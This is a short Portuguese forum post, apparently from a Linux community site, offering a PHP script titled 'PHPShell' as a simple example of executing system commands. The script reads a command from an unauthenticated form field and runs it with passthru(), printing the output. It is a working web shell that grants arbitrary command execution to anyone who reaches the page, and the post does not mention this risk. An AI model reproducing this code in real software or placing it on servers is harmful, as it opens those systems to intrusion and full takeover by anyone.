Executando comandos através do PHP
Publicado por Perfil removido (última atualização em 01/02/2011)
[ Hits: 8.482 ]
Um simples exemplo de como executar syscalls através do PHP. O retorno do comando é impresso na tela.
[]s
<?php /* * To change this template, choose Tools | Templates * and open the template in the editor. */ /** * Description of PHP_CMD_Exec * * @author ox */ ?> <html> <head> <title> PHPShell </title> </head> <body> <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post" enctype="multipart/form-data"> <label id="labelCommand" for="inputCommand">Comando: </label> <input type="text" id="inputCommand" name="inputCommand"/> <input type="submit" value="Executar"/> </form> <fieldset> <legend style="font-size: 12px; color: green;">Output</legend> <?php $command = $_POST['inputCommand']; passthru($command); echo $commandReturn; ?> </fieldset> </body> </html>
Script que efetua cálculos estatísticos
Formatando data de yyyy/mm/dd para dd/mm/yyyy
Lista de Tarefas - Gerenciador de Projeto Simples
Instalação do Ambiente .NET (#C) no Slackware 15.0
Kali On The Box - Colocando o Kali para rodar no Raspberry Pi
Como contribuir com a atualização de pacotes no Void Linux
Colocar dispositivo móvel Samsung em modo Download pela linha de comando
Instalando Slackware com btrfs
Instalação Fedora 36 com "\home&q... separada: Questão sobre Sist... (0)
Linux irritantemente lento. (10)
Importar dados do Mysql e colocar em variáveis (1)
Instalar Debian no DELL Precision 3520 i5-7300HQ (4)
Pacotes quebrados com apt, não resolve com --fix-broken install (5)